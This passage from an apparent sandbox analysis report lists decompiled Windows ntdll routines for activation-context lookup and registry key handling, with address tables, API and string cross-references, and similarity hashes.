				_t97 = 2;
				_v546 = _t97;
				_t98 = _a4;
				_v536 = 0;
				_v552 = 0;
				_v544 = _t129;
				if(_t98 == 0x6b52127c) {
					E6B5D5720(0x33, 0, "SXS: %s() passed the empty activation context\n", "RtlpGetActivationContextDataStorageMapAndRosterHeader");
					_t149 = 0xc000000d;
					L21:
					return E6B58B640(_t149, _t129, _v8 ^ _t155, _t142, _t143, _t149);
				}
				if(_v560 != 0) {
					 *_v560 =  *_v560 & 0;
					_t148 = 0;
				}
				if(_v556 != _t132) {
					 *_v556 =  *_v556 & _t132;
					_t148 = _t132;
				}
				if(_v564 != _t132) {
					 *_v564 =  *_v564 & _t143;
					_t132 = _t143;
				}
				if((_v540 & 0xfffffffc) != 0 || _t142 == 0 || _v560 == _t143 || _v556 == _t143) {
					_push(_v556);
					_push(_v560);
					_push(_t142);
					_push(_v540);
					E6B5D5720(0x33, 0, "SXS: %s() bad parameters:\nSXS:    Flags                : 0x%lx\nSXS:    Peb                  : %p\nSXS:    ActivationContextData: %p\nSXS:    AssemblyStorageMap   : %p\n", "RtlpGetActivationContextDataStorageMapAndRosterHeader");
					_t149 = 0xc000000d;
					goto L19;
				} else {
					if(_t98 == 0) {
						L22:
						if(_t98 == 0xfffffffc || (_v540 & 0x00000002) != 0) {
							L24:
							_t43 = _t142 + 0x200; // 0x230
							_t132 = _t43;
							_t105 =  *_t132;
							_t44 = _t142 + 0x204; // 0x234
							_t148 = _t44;
							_v536 = _t132;
							_v552 = _t148;
							if(_t105 == 0) {
								goto L33;
							}
							_t143 =  *((intOrPtr*)(_t105 + 0x18)) + _t105;
							goto L26;
						} else {
							if(_t98 != 0) {
								if((_v540 & 0x00000001) == 0) {
									L26:
									_t142 = 0;
									if( *_t132 == 0 ||  *_t148 != 0) {
										L33:
										_t106 =  *_t148;
										L16:
										_t142 = _v556;
										 *_v556 = _t106;
										 *_v560 =  *_t132;
										_t108 = _v564;
										if(_t108 != 0) {
											 *_t108 = _t143;
										}
										_t149 = 0;
										goto L19;
									} else {
										_t109 =  *(_t143 + 8);
										if(_t109 > 0x3ffffffc) {
											_t149 = 0xc0000095;
											L19:
											if(_t129 != 0 && _t129 !=  &_v532) {
												RtlFreeUnicodeString( &_v548);
											}
											goto L21;
										}
										_t130 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, 0xc + _t109 * 4);
										if(_t130 == 0) {
											_t149 = 0xc0000017;
											L51:
											_t129 = _v544;
											goto L19;
										}
										_t142 =  *(_t143 + 8);
										_t53 = _t130 + 0xc; // 0xc
										_t114 = E6B57D4B0(_t130,  *(_t143 + 8), _t53);
										_t149 = _t114;
										if(_t114 < 0) {
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t130);
											goto L51;
										}
										_t148 = _v552;
										asm("lock cmpxchg [esi], ecx");
										if(0 != 0) {
											E6B5470C0(_t130);
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t130);
										}
										_t132 = _v536;
										_t129 = _v544;
										goto L33;
									}
								}
							}
							_t57 = _t142 + 0x1f8; // 0x228
							_t132 = _t57;
							_t120 =  *_t132;
							_t58 = _t142 + 0x1fc; // 0x22c
							_t148 = _t58;
							_v536 = _t132;
							_v552 = _t148;
							if(_t120 == 0) {
								goto L33;
							}
							_t143 =  *((intOrPtr*)(_t120 + 0x18)) + _t120;
							_v568 = _t143;
							if( *_t148 != 0) {
								goto L26;
							}
							_t121 =  *((intOrPtr*)(_t142 + 0x10));
							_t142 = 0x208;
							_t140 =  *(_t121 + 0x38);
							_t143 =  *(_t121 + 0x3c);
							_t150 = _t140 & 0x0000ffff;
							_v540 = _t140;
							_t67 = _t150 + 0xe; // 0x23a
							_t122 = _t67;
							if(_t122 > 0x208) {
								if(_t122 <= 0xfffe) {
									_t81 = _t140 + 0xe; // 0x6b556175
									_v546 = _t81;
									_t129 = E6B563A1C(_t81 & 0x0000ffff);
									_v544 = _t129;
									if(_t129 != 0) {
										L39:
										memcpy(_t129, _t143, _t150);
										_t132 = _v536;
										_v548 = _v540 + 0xc;
										asm("movsd");
										asm("movsd");
										asm("movsd");
										asm("movsw");
										_t143 = _v568;
										_t148 = _v552;
										goto L26;
									}
									_t149 = 0xc0000017;
									goto L21;
								}
								_t149 = 0xc0000106;
								goto L21;
							}
							_t129 =  &_v532;
							_v546 = 0x208;
							_v544 = _t129;
							goto L39;
						}
					}
					if(_t98 == 0xfffffffc) {
						goto L24;
					}
					if((_v540 & 0x00000003) != 0) {
						goto L22;
					}
					_t33 = _t98 + 0x10; // 0x10
					_t132 = _t33;
					_t142 =  *_t132;
					if(_t142 == 0) {
						_t149 = 0xc00000e5;
						goto L21;
					}
					_t143 =  *((intOrPtr*)(_t142 + 0x18)) + _t142;
					_t106 = _t98 + 0x5c;
					goto L16;
				}
			}

0x6b57c707
0x6b57c719
0x6b57c720
0x6b57c726
0x6b57c730
0x6b57c736
0x6b57c73c
0x6b57c742
0x6b57c746
0x6b57c74c
0x6b57c74e
0x6b57c755
0x6b57c75b
0x6b57c764
0x6b57c765
0x6b57c76c
0x6b57c76f
0x6b57c775
0x6b57c77b
0x6b57c786
0x6b5ba7ef
0x6b5ba7f7
0x6b57c84b
0x6b57c85d
0x6b57c85d
0x6b57c792
0x6b57c79a
0x6b57c79c
0x6b57c79c
0x6b57c7a4
0x6b57c7ac
0x6b57c7ae
0x6b57c7ae
0x6b57c7b6
0x6b57c7be
0x6b57c7c0
0x6b57c7c0
0x6b57c7cc
0x6b5ba8a6
0x6b5ba8ac
0x6b5ba8b2
0x6b5ba8b3
0x6b5ba8c7
0x6b5ba8cf
0x00000000
0x6b57c7f2
0x6b57c7f4
0x6b57c860
0x6b57c863
0x6b57c872
0x6b57c872
0x6b57c872
0x6b57c878
0x6b57c87a
0x6b57c87a
0x6b57c880
0x6b57c886
0x6b57c88e
0x00000000
0x00000000
0x6b57c893
0x00000000
0x6b57c90f
0x6b57c911
0x6b5ba812
0x6b57c895
0x6b57c895
0x6b57c899
0x6b57c908
0x6b57c908
0x6b57c819
0x6b57c819
0x6b57c81f
0x6b57c829
0x6b57c82b
0x6b57c833
0x6b57c835
0x6b57c835
0x6b57c837
0x00000000
0x6b57c89f
0x6b57c89f
0x6b57c8a7
0x6b5ba85b
0x6b57c839
0x6b57c83b
0x6b5ba8e0
0x6b5ba8e0
0x00000000
0x6b57c83b
0x6b57c8c4
0x6b57c8c8
0x6b5ba865
0x6b5ba87e
0x6b5ba87e
0x00000000
0x6b5ba87e
0x6b57c8ce
0x6b57c8d1
0x6b57c8d7
0x6b57c8dc
0x6b57c8e0
0x6b5ba879
0x00000000
0x6b5ba879
0x6b57c8e6
0x6b57c8f0
0x6b57c8f6
0x6b5ba88b
0x6b5ba89c
0x6b5ba89c
0x6b57c8fc
0x6b57c902
0x00000000
0x6b57c902
0x6b57c899
0x6b5ba818
0x6b57c917
0x6b57c917
0x6b57c91d
0x6b57c91f
0x6b57c91f
0x6b57c925
0x6b57c92b
0x6b57c933
0x00000000
0x00000000
0x6b57c938
0x6b57c93d
0x6b57c943
0x00000000
0x00000000
0x6b57c949
0x6b57c94c
0x6b57c951
0x6b57c954
0x6b57c957
0x6b57c95a
0x6b57c960
0x6b57c960
0x6b57c965
0x6b5ba822
0x6b5ba82e
0x6b5ba831
0x6b5ba841
0x6b5ba843
0x6b5ba84b
0x6b57c97e
0x6b57c981
0x6b57c994
0x6b57c99a
0x6b57c9a9
0x6b57c9aa
0x6b57c9ab
0x6b57c9ac
0x6b57c9ae
0x6b57c9b4
0x00000000
0x6b57c9b4
0x6b5ba851
0x00000000
0x6b5ba851
0x6b5ba824
0x00000000
0x6b5ba824
0x6b57c96b
0x6b57c971
0x6b57c978
0x00000000
0x6b57c978
0x6b57c863
0x6b57c7f9
0x00000000
0x00000000
0x6b57c802
0x00000000
0x00000000
0x6b57c804
0x6b57c804
0x6b57c807
0x6b57c80b
0x6b5ba801
0x00000000
0x6b5ba801
0x6b57c814
0x6b57c816
0x00000000
0x6b57c816

APIs

RtlAllocateHeap.1105(?,00000000,?,?,?,00000002), ref: 6B57C8BF
memcpy.1105(00000000,?,0000022C,E850CF8B,?,?,00000002), ref: 6B57C981
DbgPrintEx.1105(00000033,00000000,SXS: %s() passed the empty activation context,RtlpGetActivationContextDataStorageMapAndRosterHeader,?,?,00000002), ref: 6B5BA7EF

Strings

SXS: %s() passed the empty activation context, xrefs: 6B5BA7E6
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 6B5BA8BE
.Local, xrefs: 6B57C9A4
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 6B5BA7E1, 6B5BA8B9

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapPrintmemcpy
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 3847278171-1239276146
Opcode ID: e27a470256dbb0777817e5115ff702777b37d402a9428dbc7b438a21904ae155
Instruction ID: 37d1299483c31265c1aa42e30b7757542edbcb713a1dc3eeb10011bdc18eac55
Opcode Fuzzy Hash: e27a470256dbb0777817e5115ff702777b37d402a9428dbc7b438a21904ae155
Instruction Fuzzy Hash: 8BA19031A40229DBEB64DF68D894BD9B3B5AF59714F1005F9E818AB350DB389E81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6B580F48, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 188
nativeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6B580F48(signed short* __ecx, long* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed short* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed short _v36;
				signed int _v40;
				long* _v48;
				char _v52;
				char _v56;
				char _v57;
				char _v58;
				intOrPtr _v60;
				void* _v64;
				void* _t60;
				void* _t66;
				void* _t69;
				void* _t72;
				intOrPtr _t87;
				char _t93;
				signed int* _t95;
				intOrPtr _t97;
				signed int _t101;
				intOrPtr _t104;
				signed int _t107;
				signed short _t109;
				char _t110;
				intOrPtr _t111;
				intOrPtr* _t114;
				intOrPtr _t116;
				void* _t117;
				signed int _t118;
				void* _t120;

				_t120 = (_t118 & 0xfffffff8) - 0x3c;
				_v48 = __edx;
				_t87 = _a4;
				 *_a8 = 0;
				_t107 =  *__ecx & 0x0000ffff;
				_v52 = 0;
				_v56 = 0;
				_v57 = 0;
				_t101 = _t107;
				_t114 = __ecx[2] + _t101;
				_v40 = __ecx;
				if(_t87 != 0) {
					if(_t101 + 2 > (__ecx[1] & 0x0000ffff)) {
						L28:
						_t60 = 0xc000000d;
						goto L16;
					}
					_t93 = 0;
					if( *_t114 == 0) {
						goto L2;
					}
					goto L28;
				} else {
					_t93 = 0;
					L2:
					if(_t101 == 0) {
						L7:
						_t109 = _t107 - _t101;
						_v32 = _t114;
						_v36 = _t109;
						if((_t109 & 0x0000ffff) != _t109) {
							_t60 = 0xc0000023;
							L16:
							return _t60;
						}
						if(_t87 != 0) {
							_t116 = _v48;
							_v58 = 1;
							_t60 = E6B5810D7( &_v52, _t116, _t87);
						} else {
							_v58 = _t93;
							_t60 = E6B58108B( &_v52);
							_t116 = _v48;
						}
						if(_t60 < 0) {
							goto L16;
						} else {
							_t110 = _v52;
							_v20 =  &_v36;
							_v28 = 0x18;
							_v24 = _t110;
							_v16 = 0x240;
							_v12 = 0;
							_v8 = 0;
							if(_t87 != 0) {
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push( &_v28);
								_push(_t116);
								_push( &_v56);
								_t66 = E6B5896D0();
							} else {
								_push( &_v28);
								_push(_t116);
								_push( &_v56);
								_t66 = E6B589600();
							}
							_t117 = _t66;
							if(_v58 != 0) {
								_push(_t110);
								E6B5895D0();
							}
							if(_t117 >= 0) {
								_t95 =  &_v52;
								_v52 = _v56;
								_t69 = E6B548239(_t95, _v48, _v40);
								_t111 = _v56;
								_t117 = _t69;
								if(_t117 < 0) {
									L24:
									if(_t111 != 0) {
										_push(_t111);
										E6B5895D0();
									}
									goto L15;
								}
								_t104 = _v56;
								if(_v57 != 0 && _t111 == _t104 && _t87 != 0) {
									_push(_t95);
									_v52 = 0;
									_t72 = E6B5D8372( &_v52, _t104, _v48);
									_t111 = _v60;
									_t117 = _t72;
									if(_t117 >= 0) {
										_t117 = E6B556D30( &_v52, L"FilterFullPath");
										if(_t117 >= 0) {
											_t97 =  *((intOrPtr*)(_t120 + 0x24));
											_push( *(_t97 + 2) & 0x0000ffff);
											_push( *((intOrPtr*)(_t97 + 4)));
											_push(1);
											_push(0);
											_push( &_v52);
											_push(_t111);
											_t117 = E6B589B00();
											if(_t117 >= 0) {
												 *((intOrPtr*)(_t120 + 0x28)) = 1;
												_t117 = E6B556D30( &_v52, L"UseFilter");
												if(_t117 >= 0) {
													_push(4);
													_push(_t120 + 0x28);
													_push(4);
													_push(0);
													_push( &_v52);
													_push(_v60);
													_t117 = E6B589B00();
												}
											}
										}
									}
									_push(_v60);
									E6B5895D0();
								}
								if(_t117 < 0) {
									goto L24;
								} else {
									 *_a8 = _t111;
									goto L15;
								}
							} else {
								L15:
								_t60 = _t117;
								goto L16;
							}
						}
					}
					L3:
					L3:
					if( *((short*)(_t114 - 2)) == 0x5c) {
						_v57 = 1;
					} else {
						goto L4;
					}
					goto L7;
					L4:
					_t114 = _t114 + 0xfffffffe;
					_t101 = _t101;
					if(_t101 != 0) {
						goto L3;
					} else {
						goto L7;
					}
				}
			}

0x6b580f50
0x6b580f55
0x6b580f5f
0x6b580f63
0x6b580f69
0x6b580f6c
0x6b580f70
0x6b580f74
0x6b580f78
0x6b580f7a
0x6b580f7c
0x6b580f82
0x6b5bcc82
0x6b5bcc8f
0x6b5bcc8f
0x00000000
0x6b5bcc8f
0x6b5bcc84
0x6b5bcc89
0x00000000
0x00000000
0x00000000
0x6b580f88
0x6b580f88
0x6b580f8a
0x6b580f8c
0x6b580fa5
0x6b580fa5
0x6b580fa7
0x6b580fae
0x6b580fb5
0x6b5bcc99
0x6b581029
0x6b58102f
0x6b58102f
0x6b580fbd
0x6b5bcca3
0x6b5bccae
0x6b5bccb3
0x6b580fc3
0x6b580fc3
0x6b580fcb
0x6b580fd0
0x6b580fd0
0x6b580fd6
0x00000000
0x6b580fd8
0x6b580fd8
0x6b580fe0
0x6b580fe6
0x6b580fee
0x6b580ff2
0x6b580ffa
0x6b580ffe
0x6b581004
0x6b5bccbd
0x6b5bccbe
0x6b5bccbf
0x6b5bccc0
0x6b5bccc5
0x6b5bccc6
0x6b5bcccb
0x6b5bcccc
0x6b58100a
0x6b58100e
0x6b58100f
0x6b581014
0x6b581015
0x6b581015
0x6b58101f
0x6b581021
0x6b581077
0x6b581078
0x6b581078
0x6b581025
0x6b581036
0x6b581042
0x6b581046
0x6b58104b
0x6b58104f
0x6b581053
0x6b58107f
0x6b581081
0x6b581083
0x6b581084
0x6b581084
0x00000000
0x6b581081
0x6b58105a
0x6b58105e
0x6b5bccd6
0x6b5bcce1
0x6b5bcce5
0x6b5bccea
0x6b5bccee
0x6b5bccf2
0x6b5bcd03
0x6b5bcd07
0x6b5bcd09
0x6b5bcd11
0x6b5bcd12
0x6b5bcd19
0x6b5bcd1b
0x6b5bcd1c
0x6b5bcd1d
0x6b5bcd23
0x6b5bcd27
0x6b5bcd32
0x6b5bcd40
0x6b5bcd44
0x6b5bcd46
0x6b5bcd4c
0x6b5bcd4d
0x6b5bcd4f
0x6b5bcd54
0x6b5bcd55
0x6b5bcd5e
0x6b5bcd5e
0x6b5bcd44
0x6b5bcd27
0x6b5bcd07
0x6b5bcd60
0x6b5bcd64
0x6b5bcd64
0x6b58106e
0x00000000
0x6b581070
0x6b581073
0x00000000
0x6b581073
0x6b581027
0x6b581027
0x6b581027
0x00000000
0x6b581027
0x6b581025
0x6b580fd6
0x00000000
0x6b580f8e
0x6b580f93
0x6b580fa0
0x00000000
0x00000000
0x00000000
0x00000000
0x6b580f95
0x6b580f95
0x6b580f99
0x6b580f9c
0x00000000
0x6b580f9e
0x00000000
0x6b580f9e
0x6b580f9c

APIs

ZwOpenKey.1105(?,?,00000018), ref: 6B581015
ZwClose.1105(?,?,?,00000018), ref: 6B581078
ZwClose.1105(?,?,?,?,?,00000018), ref: 6B581084

Strings

UseFilter, xrefs: 6B5BCD29
FilterFullPath, xrefs: 6B5BCCF4

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$Open
String ID: FilterFullPath$UseFilter
API String ID: 2976201327-4106802152
Opcode ID: 967222bc1049fd13f47467ffa0689c2e0eac3953b595b5a2694d217fdc497cf4
Instruction ID: a8f6d978034adaa9f6079144a0e532c87f8d163ed8f31290e2a3466ae016feff
Opcode Fuzzy Hash: 967222bc1049fd13f47467ffa0689c2e0eac3953b595b5a2694d217fdc497cf4
Instruction Fuzzy Hash: A261B3719083619FF311CF24C851AABBBE8AFC9714F05495EF89497250E739D909C792

Uniqueness

Uniqueness Score: -1.00%

Function 6B57C63D, Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E6B57C63D(signed int __ecx, intOrPtr __edx, signed int _a4, intOrPtr* _a8, intOrPtr _a16) {
				void* _v8;
				void* _v12;
				char _v16;
				void _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr* _t34;
				signed int _t35;
				intOrPtr _t38;
				signed int _t41;
				void* _t43;

				_t38 = __edx;
				_t35 = __ecx;
				_t21 =  *[fs:0x30];
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				if(__edx == 0x6b52127c) {
					E6B5D5720(0x33, 0, "SXS: %s() passed the empty activation context\n", "RtlGetAssemblyStorageRoot");
					goto L23;
				} else {
					_t34 = _a8;
					if(_t34 != 0) {
						 *_t34 = 0;
					}
					_t41 = _a4;
					if((_t35 & 0xfffffffc) != 0 || _t41 < 1 || _t34 == 0) {
						_push(E6B57CCC0);
						_push(_t34);
						_push(_t41);
						_push(_t35);
						E6B5D5720(0x33, 0, "SXS: %s() bad parameters:\nSXS:    Flags              : 0x%lx\nSXS:    AssemblyRosterIndex: 0x%lx\nSXS:    AssemblyStorageRoot: %p\nSXS:    Callback           : %p\n", "RtlGetAssemblyStorageRoot");
						goto L23;
					} else {
						_t43 = E6B57C707(_t35 & 0x00000003, _t21, _t38,  &_v12,  &_v8,  &_v16);
						if(_t43 < 0) {
							_push(_t43);
							_push("SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header.  Status = 0x%08lx\n");
							goto L20;
						} else {
							_t40 = _v12;
							if(_v12 == 0) {
								L14:
								_t43 = 0;
							} else {
								_t27 = _v16;
								if(_t27 == 0) {
									L16:
									_t43 = 0xc00000e5;
								} else {
									_t37 = _v8;
									if(_v8 == 0) {
										goto L16;
									} else {
										if(_t41 >=  *((intOrPtr*)(_t27 + 8))) {
											_push( *((intOrPtr*)(_t27 + 8)));
											_push(_t41);
											E6B5D5720(0x33, 0, "SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx\n", "RtlGetAssemblyStorageRoot");
											L23:
											_t43 = 0xc000000d;
										} else {
											_t43 = E6B57C9BF(_t37, _t40, _t41, _t37, _a16);
											if(_t43 < 0) {
												_push(_t43);
												_push("SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry.  Status = 0x%08lx\n");
												L20:
												_push(0);
												_push(0x33);
												E6B5D5720();
											} else {
												_t32 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + _t41 * 4));
												if(_t32 == 0) {
													goto L16;
												} else {
													 *_t34 = _t32 + 4;
													goto L14;
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return _t43;
			}

0x6b57c63d
0x6b57c63d
0x6b57c645
0x6b57c64f
0x6b57c652
0x6b57c655
0x6b57c65f
0x6b5ba775
0x00000000
0x6b57c665
0x6b57c665
0x6b57c66a
0x6b57c66c
0x6b57c66c
0x6b57c66e
0x6b57c677
0x6b5ba7ba
0x6b5ba7bf
0x6b5ba7c0
0x6b5ba7c1
0x6b5ba7cf
0x00000000
0x6b57c68e
0x6b57c6a5
0x6b57c6a9
0x6b5ba77f
0x6b5ba780
0x00000000
0x6b57c6af
0x6b57c6af
0x6b57c6b4
0x6b57c6f3
0x6b57c6f3
0x6b57c6b6
0x6b57c6b6
0x6b57c6bb
0x6b57c700
0x6b57c700
0x6b57c6bd
0x6b57c6bd
0x6b57c6c2
0x00000000
0x6b57c6c4
0x6b57c6c7
0x6b5ba79e
0x6b5ba7a1
0x6b5ba7b0
0x6b5ba7d7
0x6b5ba7d7
0x6b57c6cd
0x6b57c6d7
0x6b57c6db
0x6b5ba787
0x6b5ba788
0x6b5ba78d
0x6b5ba78d
0x6b5ba78f
0x6b5ba791
0x6b57c6e1
0x6b57c6e7
0x6b57c6ec
0x00000000
0x6b57c6ee
0x6b57c6f1
0x00000000
0x6b57c6f1
0x6b57c6ec
0x6b57c6db
0x6b57c6c7
0x6b57c6c2
0x6b57c6bb
0x6b57c6b4
0x6b57c6a9
0x6b57c677
0x6b57c6fd

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() passed the empty activation context,RtlGetAssemblyStorageRoot,?,00000000,?,00000002,?,00000040,?,00000000,?), ref: 6B5BA775

Strings

SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 6B5BA7C7
SXS: %s() passed the empty activation context, xrefs: 6B5BA76D
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 6B5BA7A7
SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 6B5BA780
RtlGetAssemblyStorageRoot, xrefs: 6B5BA768, 6B5BA7A2, 6B5BA7C2
SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 6B5BA788

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
API String ID: 3558298466-861424205
Opcode ID: cf4f306312c09ad91000de32f2b7b52bfa73e6d54190b4ab1996f31e93270d22
Instruction ID: 9ef15db27c0b14d0f3ddd90c36f57de8432213f0fdb3bb25707d34ab7ad33d18
Opcode Fuzzy Hash: cf4f306312c09ad91000de32f2b7b52bfa73e6d54190b4ab1996f31e93270d22
Instruction Fuzzy Hash: 6431E372B04524BBF720AB999CA1FDA7B79DF51B95F0001A9F90077240EBB89E0087F1

Uniqueness

Uniqueness Score: -1.00%

Function 6B61F019, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 105
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E6B61F019(intOrPtr __ecx, intOrPtr __edx, intOrPtr* _a8) {
				long _v8;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v32;
				void* _v40;
				void* _v48;
				void* _t39;
				intOrPtr _t55;
				long _t56;
				intOrPtr* _t63;
				intOrPtr _t64;
				void* _t65;

				_v12 = _v12 & 0x00000000;
				_t55 = __edx;
				_t64 = __ecx;
				_v20 = __edx;
				_v24 = __ecx;
				RtlInitUnicodeString( &_v40, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\CommonGlobUserSettings\\");
				_t63 = _a8;
				_t56 = E6B61F13B(_t64, _t55,  &_v40, _t63,  &_v12);
				if(_t56 >= 0 && _v12 == 2) {
					_t56 = 0;
					_v16 = 0;
					_v8 = 0;
					RtlInitUnicodeString( &_v32, L"RedirectedKey");
					_t39 =  *0x6b526cc8( *_t63,  &_v32, 2, 0, 0,  &_v8);
					if(_v8 > 0 && (_t39 == 0xc0000023 || _t39 == 0x80000005)) {
						_t65 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v8);
						if(_t65 != 0) {
							_push( &_v8);
							_push(_v8);
							_push(_t65);
							_push(2);
							_push( &_v32);
							_push( *_t63);
							if( *0x6b526cc8() >= 0 &&  *((intOrPtr*)(_t65 + 4)) == 1) {
								_t22 = _t65 + 0xc; // 0xc
								RtlInitUnicodeString( &_v48, _t22);
								if(E6B61F13B(_v24, _v20,  &_v48,  &_v16,  &_v12) >= 0) {
									 *0x6b526cc4( *_t63);
									 *_t63 = _v16;
								}
							}
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t65);
						}
					}
				}
				return _t56;
			}

0x6b61f021
0x6b61f030
0x6b61f032
0x6b61f035
0x6b61f038
0x6b61f03b
0x6b61f041
0x6b61f056
0x6b61f05a
0x6b61f072
0x6b61f075
0x6b61f078
0x6b61f07b
0x6b61f08f
0x6b61f098
0x6b61f0c3
0x6b61f0c7
0x6b61f0cc
0x6b61f0cd
0x6b61f0d3
0x6b61f0d4
0x6b61f0d6
0x6b61f0d7
0x6b61f0e1
0x6b61f0e9
0x6b61f0f1
0x6b61f110
0x6b61f114
0x6b61f11d
0x6b61f11d
0x6b61f110
0x6b61f12b
0x6b61f12b
0x6b61f0c7
0x6b61f098
0x6b61f138

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\,02000000,?,00000000), ref: 6B61F03B

Part of subcall function 6B61F13B: ZwOpenKey.1105(?,02000000,?,?,02000000,00000000), ref: 6B61F182
Part of subcall function 6B61F13B: ZwCreateKey.1105(?,02000000,00000018,00000000,00000000,00000000,6B61F056), ref: 6B61F19F

RtlInitUnicodeString.1105(?,RedirectedKey,?,?,00000000), ref: 6B61F07B
ZwQueryValueKey.1105(?,?,00000002,00000000,00000000,?), ref: 6B61F08F
RtlAllocateHeap.1105(?,00000008,?), ref: 6B61F0BE
ZwQueryValueKey.1105(?,?,00000002,00000000,?,?,?), ref: 6B61F0D9
RtlInitUnicodeString.1105(?,0000000C), ref: 6B61F0F1
ZwClose.1105(?,?,?,00000002), ref: 6B61F114
RtlFreeHeap.1105(?,00000000,00000000), ref: 6B61F12B

Strings

RedirectedKey, xrefs: 6B61F06A
\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\, xrefs: 6B61F02B

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$HeapQueryValue$AllocateCloseCreateFreeOpen
String ID: RedirectedKey$\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\
API String ID: 1683559675-1388552009
Opcode ID: cb084554539b10849981196a7bf04adf4c50195d41c6942dc4de6ec422cdb8f6
Instruction ID: 1815b99b2598b413d4f1d09d493f08b3d01897df990087d0fe66cfd6e7a14b75
Opcode Fuzzy Hash: cb084554539b10849981196a7bf04adf4c50195d41c6942dc4de6ec422cdb8f6
Instruction Fuzzy Hash: 5931ECB6A05219AFEB11DFA8C995EDFBBBCFB58314F104066E505E2210DB34DE46CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6B5E5100, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 85
nativethreadCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6B5E5100(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				char _v732;
				char _v736;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
